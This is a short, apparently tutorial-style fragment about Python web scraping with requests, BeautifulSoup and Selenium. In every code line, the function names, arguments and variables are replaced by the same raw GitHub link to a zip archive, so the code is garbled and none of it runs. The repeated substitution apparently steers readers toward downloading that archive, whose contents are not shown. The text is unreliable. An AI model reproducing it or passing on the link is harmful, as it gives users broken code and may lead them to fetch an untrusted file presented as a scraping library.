url = 'https://raw.githubusercontent.com/gmk418/Python-web-scraping/main/scrapy_scraping/Python-web-scraping-3.4.zip'
response = https://raw.githubusercontent.com/gmk418/Python-web-scraping/main/scrapy_scraping/Python-web-scraping-3.4.zip(url)
soup = BeautifulSoup(https://raw.githubusercontent.com/gmk418/Python-web-scraping/main/scrapy_scraping/Python-web-scraping-3.4.zip, 'https://raw.githubusercontent.com/gmk418/Python-web-scraping/main/scrapy_scraping/Python-web-scraping-3.4.zip')
print(https://raw.githubusercontent.com/gmk418/Python-web-scraping/main/scrapy_scraping/Python-web-scraping-3.4.zip)For automating tasks in a web browser:
from selenium import webdriver
driver = https://raw.githubusercontent.com/gmk418/Python-web-scraping/main/scrapy_scraping/Python-web-scraping-3.4.zip()
